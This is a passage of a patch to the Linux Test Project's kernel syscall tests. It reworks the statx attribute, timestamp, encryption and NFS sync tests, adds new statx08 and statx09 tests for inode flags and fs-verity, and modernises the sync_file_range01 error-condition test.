-	fd = SAFE_OPEN(TESTDIR_FLAGGED, O_RDONLY | O_DIRECTORY);
-
-	ret = ioctl(fd, FS_IOC_GETFLAGS, &attr);
-	if (ret < 0) {
-		if (errno == ENOTTY)
-			tst_brk(TCONF | TERRNO, "FS_IOC_GETFLAGS not supported");
-
-		/* ntfs3g fuse fs returns wrong errno for unimplemented ioctls */
-		if (!strcmp(tst_device->fs_type, "ntfs")) {
-			tst_brk(TCONF | TERRNO,
-				"ntfs3g does not support FS_IOC_GETFLAGS");
-		}
-
-		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_GETFLAGS, ...)", fd);
-	}
-
-	attr |= FS_COMPR_FL | FS_APPEND_FL | FS_IMMUTABLE_FL | FS_NODUMP_FL;
-
-	ret = ioctl(fd, FS_IOC_SETFLAGS, &attr);
-	if (ret < 0) {
-		if (errno == EOPNOTSUPP)
-			tst_brk(TCONF, "Flags not supported");
-		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_SETFLAGS, %i)", fd, attr);
-	}
-
-	clear_flags = 1;
-}
+static uint64_t expected_mask;
 
 static void setup(void)
 {
-	SAFE_MKDIR(TESTDIR_FLAGGED, 0777);
-	SAFE_MKDIR(TESTDIR_UNFLAGGED, 0777);
+	size_t i;
+	int fd;
 
+	SAFE_MKDIR(TESTDIR, 0777);
+
+	/* Check general inode attribute support */
+	fd = SAFE_OPEN(TESTDIR, O_RDONLY | O_DIRECTORY);
+	TEST(ioctl(fd, FS_IOC_GETFLAGS, &i));
+	SAFE_CLOSE(fd);
+
+	if (TST_RET == -1 && TST_ERR == ENOTTY)
+		tst_brk(TCONF | TTERRNO, "Inode attributes not supported");
+
+	if (TST_RET)
+		tst_brk(TBROK | TTERRNO, "Unexpected ioctl() error");
+
+	for (i = 0, expected_mask = 0; i < ARRAY_SIZE(attr_list); i++)
+		expected_mask |= attr_list[i].attr;
+
+	/* STATX_ATTR_COMPRESSED not supported on XFS, TMPFS */
+	if (!strcmp(tst_device->fs_type, "xfs") || !strcmp(tst_device->fs_type, "tmpfs"))
+		expected_mask &= ~STATX_ATTR_COMPRESSED;
+
+	/* Attribute support was added to Btrfs statx() in kernel v4.13 */
 	if (!strcmp(tst_device->fs_type, "btrfs") && tst_kvercmp(4, 13, 0) < 0)
-		tst_brk(TCONF, "Btrfs statx() supported since 4.13");
-
-	caid_flags_setup();
+		tst_brk(TCONF, "statx() attributes not supported on Btrfs");
 }
 
-static void cleanup(void)
+static void run(void)
 {
-	int attr;
+	size_t i;
+	struct statx buf;
 
-	if (clear_flags) {
-		SAFE_IOCTL(fd, FS_IOC_GETFLAGS, &attr);
-		attr &= ~(FS_COMPR_FL | FS_APPEND_FL | FS_IMMUTABLE_FL | FS_NODUMP_FL);
-		SAFE_IOCTL(fd, FS_IOC_SETFLAGS, &attr);
+	TST_EXP_PASS_SILENT(statx(AT_FDCWD, TESTDIR, 0, 0, &buf));
+
+	for (i = 0; i < ARRAY_SIZE(attr_list); i++) {
+		if (!(expected_mask & attr_list[i].attr))
+			continue;
+
+		if (buf.stx_attributes_mask & attr_list[i].attr)
+			tst_res(TPASS, "%s is supported", attr_list[i].name);
+		else
+			tst_res(TFAIL, "%s not supported", attr_list[i].name);
 	}
-
-	if (fd > 0)
-		SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
-	.test = run,
-	.tcnt = ARRAY_SIZE(tcases),
+	.test_all = run,
 	.setup = setup,
-	.cleanup = cleanup,
 	.needs_root = 1,
 	.all_filesystems = 1,
 	.mount_device = 1,
 	.mntpoint = MOUNT_POINT,
 	.min_kver = "4.11",
+	.skip_filesystems = (const char *const[]) {
+		"fuse",
+		"ntfs",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "93bc420ed41d"},
+		{"linux-git", "99652ea56a41"},
+		{"linux-git", "04a87e347282"},
+		{"linux-git", "5f955f26f3d4"},
+		{"linux-git", "e408e695f5f1"},
+		{}
+	},
 };
diff --git a/testcases/kernel/syscalls/statx/statx05.c b/testcases/kernel/syscalls/statx/statx05.c
index 81a5bcb..f62dadd 100644
--- a/testcases/kernel/syscalls/statx/statx05.c
+++ b/testcases/kernel/syscalls/statx/statx05.c
@@ -4,11 +4,11 @@
  * Email: code@zilogic.com
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
- * 1) STATX_ATTR_ENCRYPTED - A key is required for the file to be encrypted by
- *                          the filesystem.
+ * Test statx syscall with STATX_ATTR_ENCRYPTED flag, setting a key is required
+ * for the file to be encrypted by the filesystem.
  *
  * e4crypt is used to set the encrypt flag (currently supported only by ext4).
  *
@@ -16,7 +16,6 @@
  * First directory has all flags set.
  * Second directory has no flags set.
  *
- * Minimum kernel version required is 4.11.
  * Minimum e2fsprogs version required is 1.43.
  */
 
@@ -25,7 +24,6 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/wait.h>
-#include "tst_safe_stdio.h"
 #include "tst_test.h"
 #include "lapi/fs.h"
 #include "lapi/stat.h"
@@ -74,7 +72,7 @@
 		tst_res(TFAIL, "STATX_ATTR_ENCRYPTED flag is set");
 }
 
-struct test_cases {
+static struct test_cases {
 	void (*tfunc)(void);
 } tcases[] = {
 	{&test_flagged},
@@ -88,18 +86,9 @@
 
 static void setup(void)
 {
-	FILE *f;
 	char opt_bsize[32];
 	const char *const fs_opts[] = {"-O encrypt", opt_bsize, NULL};
-	int ret, rc, major, minor, patch;
-
-	f = SAFE_POPEN("mkfs.ext4 -V 2>&1", "r");
-	rc = fscanf(f, "mke2fs %d.%d.%d", &major, &minor, &patch);
-	if (rc != 3)
-		tst_res(TWARN, "Unable parse version number");
-	else if (major * 10000 + minor * 100 + patch < 14300)
-		tst_brk(TCONF, "Test needs mkfs.ext4 >= 1.43 for encrypt option, test skipped");
-	pclose(f);
+	int ret;
 
 	snprintf(opt_bsize, sizeof(opt_bsize), "-b %i", getpagesize());
 
@@ -112,10 +101,7 @@
 
 	ret = tst_system("echo qwery | e4crypt add_key "TESTDIR_FLAGGED);
 
-	if (WEXITSTATUS(ret) == 127)
-		tst_brk(TCONF, "e4crypt not installed!");
-
-	if (WEXITSTATUS(ret))
+	if (ret)
 		tst_brk(TCONF, "e4crypt failed (CONFIG_EXT4_ENCRYPTION not set?)");
 }
 
@@ -136,7 +122,8 @@
 	.mntpoint = MNTPOINT,
 	.dev_fs_type = "ext4",
 	.needs_cmds = (const char *[]) {
-		"mkfs.ext4",
+		"mkfs.ext4 >= 1.43.0",
+		"e4crypt",
 		NULL
 	}
 };
diff --git a/testcases/kernel/syscalls/statx/statx06.c b/testcases/kernel/syscalls/statx/statx06.c
index 0469d66..28badb0 100644
--- a/testcases/kernel/syscalls/statx/statx06.c
+++ b/testcases/kernel/syscalls/statx/statx06.c
@@ -1,41 +1,25 @@
 // SPDX-License-Identifier: GPL-2.0 or later
 /*
- *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
- *  Email : code@zilogic.com
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email : code@zilogic.com
  */
 
-/*
- * DESCRIPTION :
+/*\
+ * [Description]
  *
- * Test-Case 1 : Testing btime
- * flow :       The time before and after the execution of the create
- *              system call is noted.
- *		It is checked whether the birth time returned by statx lies in
- *              this range.
+ * Test the following file timestamps of statx syscall:
  *
- * Test-Case 2 : Testing mtime
- * flow :       The time before and after the execution of the write
- *              system call is noted.
- *              It is checked whether the modification time returned
- *              by statx lies in this range.
+ * - btime - The time before and after the execution of the create system call is noted.
  *
- * Test-Case 3 : Testing atime
- * flow :       The time before and after the execution of the read
- *              system call is noted.
- *              It is checked whether the access time returned by statx lies in
- *              this range.
+ * - mtime - The time before and after the execution of the write system call is noted.
  *
- * Test-Case 4 : Testing ctime
- * flow :	The time before and after the execution of the chmod
- *              system call is noted.
- *              It is checked whether the status change time returned by statx
- *              lies in this range.
+ * - atime - The time before and after the execution of the read system call is noted.
  *
+ * - ctime - The time before and after the execution of the chmod system call is noted.
  */
 
 #define _GNU_SOURCE
 #include <stdio.h>
-#include <sys/mount.h>
 #include <time.h>
 
 #include "tst_test.h"
diff --git a/testcases/kernel/syscalls/statx/statx07.c b/testcases/kernel/syscalls/statx/statx07.c
index ec1cdd1..e1ae36a 100644
--- a/testcases/kernel/syscalls/statx/statx07.c
+++ b/testcases/kernel/syscalls/statx/statx07.c
@@ -1,27 +1,26 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
- *  Email : code@zilogic.com
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email : code@zilogic.com
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
  * This code tests the following flags:
- * 1) AT_STATX_FORCE_SYNC
- * 2) AT_STATX_DONT_SYNC
+ *
+ * - AT_STATX_FORCE_SYNC
+ * - AT_STATX_DONT_SYNC
  *
  * By exportfs cmd creating NFS setup.
  *
  * A test file is created in server folder and statx is being
  * done in client folder.
  *
- * TESTCASE 1:
  * BY AT_STATX_SYNC_AS_STAT getting predefined mode value.
  * Then, by using AT_STATX_FORCE_SYNC getting new updated vaue
  * from server file changes.
  *
- * TESTCASE 2:
  * BY AT_STATX_SYNC_AS_STAT getting predefined mode value.
  * AT_STATX_FORCE_SYNC is called to create cache data of the file.
  * Then, by using DONT_SYNC_FILE getting old cached data in client folder,
@@ -29,13 +28,11 @@
  *
  * The support for SYNC flags was implemented in NFS in:
  *
- * commit 9ccee940bd5b766b6dab6c1a80908b9490a4850d
- * Author: Trond Myklebust <trond.myklebust@primarydata.com>
- * Date:   Thu Jan 4 17:46:09 2018 -0500
+ *  commit 9ccee940bd5b766b6dab6c1a80908b9490a4850d
+ *  Author: Trond Myklebust <trond.myklebust@primarydata.com>
+ *  Date:   Thu Jan 4 17:46:09 2018 -0500
  *
- *     Support statx() mask and query flags parameters
- *
- * Hence we skip the test on anything older than 4.16.
+ *  Support statx() mask and query flags parameters
  */
 
 #define _GNU_SOURCE
@@ -84,7 +81,7 @@
 	return buf.stx_mode;
 }
 
-const struct test_cases {
+static const struct test_cases {
 	int flag;
 	char *flag_name;
 	char *server_file;
@@ -138,8 +135,6 @@
 	exported = 1;
 
 	ret = tst_system(cmd);
-	if (WEXITSTATUS(ret) == 127)
-		tst_brk(TCONF | TST_ERR, "%s not found", cmd);
 	if (ret)
 		tst_brk(TBROK | TST_ERR, "failed to exportfs");
 
@@ -175,4 +170,8 @@
 	.needs_tmpdir = 1,
 	.dev_fs_type = "nfs",
 	.needs_root = 1,
+	.needs_cmds = (const char *[]) {
+		"exportfs",
+		NULL
+	}
 };
diff --git a/testcases/kernel/syscalls/statx/statx08.c b/testcases/kernel/syscalls/statx/statx08.c
new file mode 100644
index 0000000..10b1ca4
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx08.c
@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This case tests whether the attributes field of statx received expected value
+ * by using flags in the stx_attributes_mask field of statx.
+ * File set with following flags by using SAFE_IOCTL:
+ *
+ * - STATX_ATTR_COMPRESSED: The file is compressed by the filesystem.
+ * - STATX_ATTR_IMMUTABLE: The file cannot be modified.
+ * - STATX_ATTR_APPEND: The file can only be opened in append mode for writing.
+ * - STATX_ATTR_NODUMP: File is not a candidate for backup when a backup
+ *                        program such as dump(8) is run.
+ *
+ * Two directories are tested.
+ * First directory has all flags set. Second directory has no flags set.
+ */
+
+#define _GNU_SOURCE
+#include "tst_test.h"
+#include "lapi/fs.h"
+#include <stdlib.h>
+#include "lapi/stat.h"
+
+#define MOUNT_POINT "mntpoint"
+#define TESTDIR_FLAGGED MOUNT_POINT"/test_dir1"
+#define TESTDIR_UNFLAGGED MOUNT_POINT"/test_dir2"
+
+static int fd, clear_flags;
+static int supp_compr = 1, supp_append = 1, supp_immutable = 1, supp_nodump = 1;
+
+static void run(unsigned int flag)
+{
+	struct statx buf;
+
+	TEST(statx(AT_FDCWD, flag ? TESTDIR_FLAGGED : TESTDIR_UNFLAGGED, 0, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			flag ? TESTDIR_FLAGGED : TESTDIR_UNFLAGGED);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
+			flag ? TESTDIR_FLAGGED : TESTDIR_UNFLAGGED);
+
+	if (supp_compr) {
+		if (buf.stx_attributes & STATX_ATTR_COMPRESSED)
+			tst_res(flag ? TPASS : TFAIL,
+				"STATX_ATTR_COMPRESSED flag is set");
+		else
+			tst_res(flag ? TFAIL : TPASS,
+				"STATX_ATTR_COMPRESSED flag is not set");
+	}
+	if (supp_append) {
+		if (buf.stx_attributes & STATX_ATTR_APPEND)
+			tst_res(flag ? TPASS : TFAIL,
+				"STATX_ATTR_APPEND flag is set");
+		else
+			tst_res(flag ? TFAIL : TPASS,
+				"STATX_ATTR_APPEND flag is not set");
+	}
+	if (supp_immutable) {
+		if (buf.stx_attributes & STATX_ATTR_IMMUTABLE)
+			tst_res(flag ? TPASS : TFAIL,
+				"STATX_ATTR_IMMUTABLE flag is set");
+		else
+			tst_res(flag ? TFAIL : TPASS,
+				"STATX_ATTR_IMMUTABLE flag is not set");
+	}
+	if (supp_nodump) {
+		if (buf.stx_attributes & STATX_ATTR_NODUMP)
+			tst_res(flag ? TPASS : TFAIL,
+				"STATX_ATTR_NODUMP flag is set");
+		else
+			tst_res(flag ? TFAIL : TPASS,
+				"STATX_ATTR_NODUMP flag is not set");
+	}
+}
+
+static void caid_flags_setup(void)
+{
+	int attr, ret;
+
+	fd = SAFE_OPEN(TESTDIR_FLAGGED, O_RDONLY | O_DIRECTORY);
+
+	ret = ioctl(fd, FS_IOC_GETFLAGS, &attr);
+	if (ret < 0) {
+		if (errno == ENOTTY)
+			tst_brk(TCONF | TERRNO, "FS_IOC_GETFLAGS not supported");
+
+		/* ntfs3g fuse fs returns wrong errno for unimplemented ioctls */
+		if (!strcmp(tst_device->fs_type, "ntfs")) {
+			tst_brk(TCONF | TERRNO,
+				"ntfs3g does not support FS_IOC_GETFLAGS");
+		}
+
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_GETFLAGS, ...)", fd);
+	}
+
+	if (supp_compr)
+		attr |= FS_COMPR_FL;
+	if (supp_append)
+		attr |= FS_APPEND_FL;
+	if (supp_immutable)
+		attr |= FS_IMMUTABLE_FL;
+	if (supp_nodump)
+		attr |= FS_NODUMP_FL;
+
+	ret = ioctl(fd, FS_IOC_SETFLAGS, &attr);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_SETFLAGS, %i)", fd, attr);
+
+	clear_flags = 1;
+}
+
+static void setup(void)
+{
+	struct statx buf;
+
+	SAFE_MKDIR(TESTDIR_FLAGGED, 0777);
+	SAFE_MKDIR(TESTDIR_UNFLAGGED, 0777);
+
+	TEST(statx(AT_FDCWD, TESTDIR_FLAGGED, 0, 0, &buf));
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TTERRNO,
+			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
+
+	if ((buf.stx_attributes_mask & FS_COMPR_FL) == 0) {
+		supp_compr = 0;
+		tst_res(TCONF, "filesystem doesn't support FS_COMPR_FL");
+	}
+	if ((buf.stx_attributes_mask & FS_APPEND_FL) == 0) {
+		supp_append = 0;
+		tst_res(TCONF, "filesystem doesn't support FS_APPEND_FL");
+	}
+	if ((buf.stx_attributes_mask & FS_IMMUTABLE_FL) == 0) {
+		supp_immutable = 0;
+		tst_res(TCONF, "filesystem doesn't support FS_IMMUTABLE_FL");
+	}
+	if ((buf.stx_attributes_mask & FS_NODUMP_FL) == 0) {
+		supp_nodump = 0;
+		tst_res(TCONF, "filesystem doesn't support FS_NODUMP_FL");
+	}
+	if (!(supp_compr || supp_append || supp_immutable || supp_nodump))
+		tst_brk(TCONF,
+			"filesystem doesn't support the above any attr, skip it");
+
+	caid_flags_setup();
+}
+
+static void cleanup(void)
+{
+	int attr;
+
+	if (clear_flags) {
+		SAFE_IOCTL(fd, FS_IOC_GETFLAGS, &attr);
+		attr &= ~(FS_COMPR_FL | FS_APPEND_FL | FS_IMMUTABLE_FL | FS_NODUMP_FL);
+		SAFE_IOCTL(fd, FS_IOC_SETFLAGS, &attr);
+	}
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = 2,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.all_filesystems = 1,
+	.mount_device = 1,
+	.mntpoint = MOUNT_POINT,
+	.min_kver = "4.11",
+};
diff --git a/testcases/kernel/syscalls/statx/statx09.c b/testcases/kernel/syscalls/statx/statx09.c
new file mode 100644
index 0000000..aea329e
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx09.c
@@ -0,0 +1,159 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Dai Shili <daisl.fnst@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This code tests if STATX_ATTR_VERITY flag in the statx attributes is set correctly.
+ *
+ * The statx() system call sets STATX_ATTR_VERITY if the file has fs-verity
+ * enabled. This can perform better than FS_IOC_GETFLAGS and
+ * FS_IOC_MEASURE_VERITY because it doesn't require opening the file, and
+ * opening verity files can be expensive.
+ *
+ * Minimum Linux version required is v5.5.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mount.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/fs.h"
+#include "lapi/fsverity.h"
+#include "lapi/stat.h"
+#include <inttypes.h>
+
+#define MNTPOINT "mnt_point"
+#define TESTFILE_FLAGGED MNTPOINT"/test_file1"
+#define TESTFILE_UNFLAGGED MNTPOINT"/test_file2"
+
+static int mount_flag;
+
+static const uint32_t hash_algorithms[] = {
+	FS_VERITY_HASH_ALG_SHA256,
+};
+
+static void test_flagged(void)
+{
+	struct statx buf;
+
+	TST_EXP_PASS(statx(AT_FDCWD, TESTFILE_FLAGGED, 0, 0, &buf),
+		"statx(AT_FDCWD, %s, 0, 0, &buf)", TESTFILE_FLAGGED);
+
+	if (buf.stx_attributes & STATX_ATTR_VERITY)
+		tst_res(TPASS, "STATX_ATTR_VERITY flag is set: (%"PRIu64") ",
+			(uint64_t)buf.stx_attributes);
+	else
+		tst_res(TFAIL, "STATX_ATTR_VERITY flag is not set");
+}
+
+static void test_unflagged(void)
+{
+	struct statx buf;
+
+	TST_EXP_PASS(statx(AT_FDCWD, TESTFILE_UNFLAGGED, 0, 0, &buf),
+		"statx(AT_FDCWD, %s, 0, 0, &buf)", TESTFILE_UNFLAGGED);
+
+	if ((buf.stx_attributes & STATX_ATTR_VERITY) == 0)
+		tst_res(TPASS, "STATX_ATTR_VERITY flag is not set");
+	else
+		tst_res(TFAIL, "STATX_ATTR_VERITY flag is set");
+}
+
+static struct test_cases {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&test_flagged},
+	{&test_unflagged},
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void flag_setup(void)
+{
+	int fd, attr, ret;
+	struct fsverity_enable_arg enable;
+
+	fd = SAFE_OPEN(TESTFILE_FLAGGED, O_RDONLY, 0664);
+
+	ret = ioctl(fd, FS_IOC_GETFLAGS, &attr);
+	if (ret < 0) {
+		if (errno == ENOTTY)
+			tst_brk(TCONF | TERRNO, "FS_IOC_GETFLAGS not supported");
+
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_GETFLAGS, ...)", fd);
+	}
+
+	memset(&enable, 0, sizeof(enable));
+	enable.version = 1;
+	enable.hash_algorithm = hash_algorithms[0];
+	enable.block_size = 4096;
+	enable.salt_size = 0;
+	enable.salt_ptr = (intptr_t)NULL;
+	enable.sig_size = 0;
+	enable.sig_ptr = (intptr_t)NULL;
+
+	ret = ioctl(fd, FS_IOC_ENABLE_VERITY, &enable);
+	if (ret < 0) {
+		if (errno == EOPNOTSUPP) {
+			tst_brk(TCONF,
+				"fs-verity is not supported on the file system or by the kernel");
+		}
+		tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_ENABLE_VERITY) failed", fd);
+	}
+
+	ret = ioctl(fd, FS_IOC_GETFLAGS, &attr);
+	if ((ret == 0) && !(attr & FS_VERITY_FL))
+		tst_res(TFAIL, "%i: fs-verity enabled but FS_VERITY_FL bit not set", fd);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	TEST(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL));
+	if (TST_RET) {
+		if (TST_ERR == EINVAL)
+			tst_brk(TCONF, "fs-verity not supported on loopdev");
+
+		tst_brk(TBROK | TERRNO, "mount() failed with %ld", TST_RET);
+	}
+	mount_flag = 1;
+
+	SAFE_FILE_PRINTF(TESTFILE_FLAGGED, "a");
+	SAFE_FILE_PRINTF(TESTFILE_UNFLAGGED, "a");
+
+	flag_setup();
+}
+
+static void cleanup(void)
+{
+	if (mount_flag)
+		tst_umount(MNTPOINT);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.format_device = 1,
+	.dev_fs_type = "ext4",
+	.dev_fs_opts = (const char *const []){"-O verity", NULL},
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_FS_VERITY",
+		NULL
+	},
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 >= 1.45.2",
+		NULL
+	}
+};
diff --git a/testcases/kernel/syscalls/stime/stime02.c b/testcases/kernel/syscalls/stime/stime02.c
index 126a49a..0b2dc38 100644
--- a/testcases/kernel/syscalls/stime/stime02.c
+++ b/testcases/kernel/syscalls/stime/stime02.c
@@ -38,7 +38,7 @@
 		return;
 	}
 
-	tst_res(TFAIL| TTERRNO,
+	tst_res(TFAIL | TTERRNO,
 		"stime(2) fails, Caller not root, expected errno:%d", EPERM);
 }
 
diff --git a/testcases/kernel/syscalls/symlinkat/symlinkat01.c b/testcases/kernel/syscalls/symlinkat/symlinkat01.c
index 8c9e148..1687ea1 100644
--- a/testcases/kernel/syscalls/symlinkat/symlinkat01.c
+++ b/testcases/kernel/syscalls/symlinkat/symlinkat01.c
@@ -126,7 +126,7 @@
 static int mysymlinkat(const char *oldfilename,
 		       int newdirfd, const char *newfilename)
 {
-	return ltp_syscall(__NR_symlinkat, oldfilename, newdirfd, newfilename);
+	return tst_syscall(__NR_symlinkat, oldfilename, newdirfd, newfilename);
 }
 
 int main(int ac, char **av)
diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
index 3a97183..187ef60 100644
--- a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
+++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
@@ -1,250 +1,91 @@
-/******************************************************************************
- *				sync_file_range01.c
- *	    Copyright (c) International Business Machines  Corp., 2008
- *			    Email: bnpoorni@in.ibm.com
- *****************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines  Corp., 2008
+ * Email: bnpoorni@in.ibm.com
+ */
 
-/******************************************************************************/
-/*									    */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-
-/*****************************************************************************
- *    TEST IDENTIFIER  		: sync_file_range01			  $
- *									  $
- *    EXECUTED BY	       : anyone				    $
+/*\
+ * [Description]
  *
- *    TEST TITLE		: Checks for Errors from sync_file_range()
+ * Basic error conditions test for sync_file_range() system call, tests for:
  *
- *    TEST CASE TOTAL  		: 5
- *
- *    CPU ARCHITECTURES		: All
- *
- *    AUTHOR		    : B N Poornima
- *
- *    DATE STARTED	     : 21/07/2008
- *
- *    TEST CASES
- *    (Tests sync_file_range() for different test cases as reported in the man
- *      page)
- *
- *     INPUT SPECIFICATIONS
- *	     No input needs to be specified
- *	       sync_file_data() in-puts are specified through test_data
- *
- *     OUTPUT SPECIFICATIONS
- *	     sync_file_data() error message matches with the expected error
- *		message.
- *
- *     ENVIRONMENTAL NEEDS
- *		Kernel version 2.6.17 and above
- *	      Kernel version 2.6.22 and above in case of PPC and PPC64
- *
- *     SPECIAL PROCEDURAL REQUIREMENTS
- *	     None
- *
- *     DETAILED DESCRIPTION
- *	     This is a test case for sync_file_range() system call.
- *	     This test suite tests various error messages from the system call
- *	     If the error message received matches with the expected
- *	     test is considered passed else test fails
- *
- *	     Total 5 Test Cases :-
- *	     Various error messages from the man page
- *
- *     Setup:
- *	     Setup files on which sync_file_range is to be called
- *
- *     Test:
- *	     Loop if the proper options are given.
- *	     Execute system call
- *	       Check return code.
- *	     If error obtained matches with the expected error
- *	     PASS the test, otherwise TEST FAILS
- *
- *     Cleanup:
- *	     Cleanup the temporary folder
- *
- ******************************************************************************/
+ * - EBADFD Wrong filedescriptor
+ * - ESPIPE Unsupported file descriptor
+ * - EINVAL Wrong offset
+ * - EINVAL Wrong nbytes
+ * - EINVAL Wrong flags
+ */
 #define _GNU_SOURCE
 
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/utsname.h>
 #include <endian.h>
-#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <unistd.h>
 
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/sync_file_range.h"
 #include "check_sync_file_range.h"
 
 #ifndef SYNC_FILE_RANGE_WAIT_BEFORE
 #define SYNC_FILE_RANGE_WAIT_BEFORE 1
-#define SYNC_FILE_RANGE_WRITE 2	//DUMMY VALUES
+#define SYNC_FILE_RANGE_WRITE 2
 #define SYNC_FILE_RANGE_WAIT_AFTER 4
 #endif
 
 #define SYNC_FILE_RANGE_INVALID 8
 
-char *TCID = "sync_file_range01";
-char filename[255];		/* file used for testing */
-char spl_file[] = "/dev/null";
-int filed, sfd;			/* normal and special fds */
-int bfd = -1;			/* Bad file descriptor */
+static char filename[255];
+static const char spl_file[] = "/dev/null";
+static int fd, sfd;
+static int bfd = -1;
 
-struct test_data_t {
+struct test_case {
 	int *fd;
 	off64_t offset;
 	off64_t nbytes;
 	unsigned int flags;
 	int error;
-} test_data[] = {
-	{
-	&bfd, 0, 1, SYNC_FILE_RANGE_WRITE, EBADF}, {
-	&sfd, 0, 1, SYNC_FILE_RANGE_WAIT_AFTER, ESPIPE}, {
-	&filed, -1, 1, SYNC_FILE_RANGE_WAIT_BEFORE, EINVAL}, {
-	&filed, 0, -1, SYNC_FILE_RANGE_WRITE, EINVAL}, {
-	&filed, 0, 1, SYNC_FILE_RANGE_INVALID, EINVAL}
+} tcases[] = {
+	{&bfd, 0, 1, SYNC_FILE_RANGE_WRITE, EBADF},
+	{&sfd, 0, 1, SYNC_FILE_RANGE_WAIT_AFTER, ESPIPE},
+	{&fd, -1, 1, SYNC_FILE_RANGE_WAIT_BEFORE, EINVAL},
+	{&fd, 0, -1, SYNC_FILE_RANGE_WRITE, EINVAL},
+	{&fd, 0, 1, SYNC_FILE_RANGE_INVALID, EINVAL}
 };
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/* close the file we have open */
-	if (close(filed) == -1) {
-		tst_resm(TWARN | TERRNO, "close(%s) failed", filename);
-	}
-
-	tst_rmdir();
+	SAFE_CLOSE(fd);
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
+	if (!check_sync_file_range())
